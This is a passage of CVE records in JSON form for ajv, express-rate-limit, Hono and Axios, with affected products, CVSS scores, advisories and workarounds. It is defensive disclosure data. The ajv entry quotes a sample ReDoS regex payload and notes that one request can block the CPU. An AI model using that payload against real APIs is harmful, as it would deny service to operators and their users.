"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Satellite 6.18",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:confidential_compute_attestation:1"
],
"defaultStatus": "affected",
"product": "Confidential Compute Attestation",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:workload_availability_nhc:0"
],
"defaultStatus": "affected",
"product": "Node HealthCheck Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_pipelines:1"
],
"defaultStatus": "affected",
"product": "OpenShift Pipelines",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_3scale_amp:2"
],
"defaultStatus": "affected",
"product": "Red Hat 3scale API Management Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:connectivity_link:1"
],
"defaultStatus": "affected",
"product": "Red Hat Connectivity Link 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:edge_manager:1"
],
"defaultStatus": "affected",
"product": "Red Hat Edge Manager 1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_data_foundation:4"
],
"defaultStatus": "affected",
"product": "Red Hat Openshift Data Foundation 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_gitops:1"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift GitOps",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:3"
],
"defaultStatus": "affected",
"product": "streams for Apache Kafka 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:gatekeeper:3"
],
"defaultStatus": "unaffected",
"product": "Gatekeeper 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:multicluster_engine"
],
"defaultStatus": "unaffected",
"product": "Multicluster Engine for Kubernetes",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1"
],
"defaultStatus": "unaffected",
"product": "Network Observability Operator",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3"
],
"defaultStatus": "unaffected",
"product": "OpenShift Service Mesh 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat Advanced Cluster Security 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:11"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 11",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:12"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:directory_server:13"
],
"defaultStatus": "unaffected",
"product": "Red Hat Directory Server 13",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "unaffected",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat OpenShift Container Platform 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:amq_streams:2"
],
"defaultStatus": "unaffected",
"product": "streams for Apache Kafka 2",
"vendor": "Red Hat"
}
],
"datePublic": "2026-02-11T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in ajv. When the $data option is enabled, the value of the pattern keyword is passed directly to the JavaScript RegExp() constructor without sufficient validation. An attacker able to supply a malicious regular expression pattern can trigger a ReDoS (Regular Expression Denial of Service), causing the application to become unresponsive and resulting in a denial of service."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-30T03:15:35.561Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2025-69873"
},
{
"name": "RHBZ#2439070",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439070"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-69873.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13512"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6277"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16874"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6309"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6802"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:5807"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19712"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:15091"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:14774"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:5910"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:5907"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10093"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6192"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:7314"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6568"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6497"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:6567"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:5168"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26211"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:33371: Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server"
},
{
"lang": "en",
"value": "RHSA-2026:13512: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:6277: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:6309: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:6802: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:5807: Red Hat OpenShift AI 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:19712: Red Hat OpenShift AI 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:15091: Red Hat OpenShift Container Platform 4.14"
},
{
"lang": "en",
"value": "RHSA-2026:14774: Red Hat OpenShift Container Platform 4.15"
},
{
"lang": "en",
"value": "RHSA-2026:5910: Red Hat OpenShift Container Platform 4.16"
},
{
"lang": "en",
"value": "RHSA-2026:5907: Red Hat OpenShift Container Platform 4.17"
},
{
"lang": "en",
"value": "RHSA-2026:10093: Red Hat OpenShift Container Platform 4.19"
},
{
"lang": "en",
"value": "RHSA-2026:6192: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:7314: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:6568: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:6497: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:6567: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:5168: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26211: Red Hat Satellite 6.18"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-02-11T19:01:32.953Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-02-11T00:00:00.000Z",
"value": "Made public."
}
],
"title": "ajv: ReDoS via $data reference",
"workarounds": [
{
"lang": "en",
"value": "To mitigate this issue, disable the $data feature if your application does not require it. If $data must be used, implement strict validation of the input fields that are referenced by the pattern keyword to ensure they contain only expected and safe characters."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "ajv",
"vendor": "ajv.js",
"versions": [
{
"lessThan": "6.14.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "8.17.2",
"status": "affected",
"version": "7.0.0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ajv.js:ajv:*:*:*:*:*:*:*:*",
"versionEndExcluding": "6.14.0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:ajv.js:ajv:*:*:*:*:*:*:*:*",
"versionEndExcluding": "8.17.2",
"versionStartIncluding": "7.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "ajv (Another JSON Schema Validator) before 8.18.0 is vulnerable to Regular Expression Denial of Service (ReDoS) when the $data option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax ($data reference), which is passed directly to the JavaScript RegExp() constructor without validation. An attacker can inject a malicious regex pattern (e.g., \"^(a|a)*$\") combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with $data: true for dynamic schema validation. This issue is also fixed in version 6.14.0."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 2.9,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333 Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-02T20:22:25.698Z",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"url": "https://github.com/advisories/GHSA-2g4f-4pwh-qvx6"
},
{
"url": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md"
},
{
"url": "https://github.com/github/advisory-database/pull/6991"
},
{
"url": "https://github.com/ajv-validator/ajv/pull/2588"
},
{
"url": "https://github.com/ajv-validator/ajv/releases/tag/v6.14.0"
},
{
"url": "https://github.com/ajv-validator/ajv/pull/2590"
}
],
"x_generator": {
"engine": "enrichogram 0.0.1"
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2025-69873",
"datePublished": "2026-02-11T00:00:00.000Z",
"dateReserved": "2026-01-09T00:00:00.000Z",
"dateUpdated": "2026-06-30T03:15:35.561Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-30827 (GCVE-0-2026-30827)
Vulnerability from cvelistv5 – Published: 2026-03-07 05:19 – Updated: 2026-03-09 20:44- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| express-rate-limit | express-rate-limit |
Affected:
>= 8.0.0, < 8.0.2
Affected: >= 8.1.0, < 8.1.1 Affected: >= 8.2.0, < 8.2.2 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-30827",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-09T20:40:59.712815Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T20:44:25.979Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "express-rate-limit",
"vendor": "express-rate-limit",
"versions": [
{
"status": "affected",
"version": "\u003e= 8.0.0, \u003c 8.0.2"
},
{
"status": "affected",
"version": "\u003e= 8.1.0, \u003c 8.1.1"
},
{
"status": "affected",
"version": "\u003e= 8.2.0, \u003c 8.2.2"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "express-rate-limit is a basic rate-limiting middleware for Express. In versions starting from 8.0.0 and prior to versions 8.0.2, 8.1.1, 8.2.2, and 8.3.0, the default keyGenerator in express-rate-limit applies IPv6 subnet masking (/56 by default) to all addresses that net.isIPv6() returns true for. This includes IPv4-mapped IPv6 addresses (::ffff:x.x.x.x), which Node.js returns as request.ip on dual-stack servers. Because the first 80 bits of all IPv4-mapped addresses are zero, a /56 (or any /32 to /80) subnet mask produces the same network key (::/56) for every IPv4 client. This collapses all IPv4 traffic into a single rate-limit bucket: one client exhausting the limit causes HTTP 429 for all other IPv4 clients. This issue has been patched in versions 8.0.2, 8.1.1, 8.2.2, and 8.3.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-07T05:19:53.932Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/express-rate-limit/express-rate-limit/security/advisories/GHSA-46wh-pxpv-q5gq",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/express-rate-limit/express-rate-limit/security/advisories/GHSA-46wh-pxpv-q5gq"
},
{
"name": "https://github.com/express-rate-limit/express-rate-limit/commit/14e53888cdfd1b9798faf5b634c4206409e27fc4",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/express-rate-limit/express-rate-limit/commit/14e53888cdfd1b9798faf5b634c4206409e27fc4"
}
],
"source": {
"advisory": "GHSA-46wh-pxpv-q5gq",
"discovery": "UNKNOWN"
},
"title": "express-rate-limit: IPv4-mapped IPv6 addresses bypass per-client rate limiting (all IPv4 clients share one bucket on dual-stack servers)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-30827",
"datePublished": "2026-03-07T05:19:08.206Z",
"dateReserved": "2026-03-05T21:06:44.606Z",
"dateUpdated": "2026-03-09T20:44:25.979Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-44455 (GCVE-0-2026-44455)
Vulnerability from cvelistv5 – Published: 2026-05-13 14:57 – Updated: 2026-05-14 13:46- CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44455",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T13:45:57.445154Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T13:46:11.630Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.16"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.16, Improper handling of JSX element tag names in hono/jsx allowed unvalidated tag names to be directly inserted into the generated HTML output. When untrusted input is used as a tag name via the programmatic jsx() or createElement() APIs during server-side rendering, specially crafted values may break out of the intended element context and inject unintended HTML. This vulnerability is fixed in 4.12.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-74",
"description": "CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-13T14:57:05.865Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-69xw-7hcm-h432",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-69xw-7hcm-h432"
}
],
"source": {
"advisory": "GHSA-69xw-7hcm-h432",
"discovery": "UNKNOWN"
},
"title": "Hono: Unvalidated JSX Tag Names in hono/jsx May Allow HTML Injection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44455",
"datePublished": "2026-05-13T14:57:05.865Z",
"dateReserved": "2026-05-06T15:49:25.192Z",
"dateUpdated": "2026-05-14T13:46:11.630Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-39407 (GCVE-0-2026-39407)
Vulnerability from cvelistv5 – Published: 2026-04-08 14:41 – Updated: 2026-04-08 16:04- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39407",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-08T16:04:53.788586Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T16:04:59.862Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.12"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.12, a path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path. When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass. This vulnerability is fixed in 4.12.12."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T14:41:20.301Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-wmmm-f939-6g9c",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-wmmm-f939-6g9c"
},
{
"name": "https://github.com/honojs/hono/commit/9aff14bd727f8b0435c963363fd803260e7b8e3c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/9aff14bd727f8b0435c963363fd803260e7b8e3c"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.12",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"source": {
"advisory": "GHSA-wmmm-f939-6g9c",
"discovery": "UNKNOWN"
},
"title": "Hono has a middleware bypass via repeated slashes in serveStatic"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39407",
"datePublished": "2026-04-08T14:41:20.301Z",
"dateReserved": "2026-04-07T00:23:30.594Z",
"dateUpdated": "2026-04-08T16:04:59.862Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42036 (GCVE-0-2026-42036)
Vulnerability from cvelistv5 – Published: 2026-04-24 18:00 – Updated: 2026-04-24 18:32- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42036",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T18:30:17.816440Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T18:32:49.313Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when responseType: \u0027stream\u0027 is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
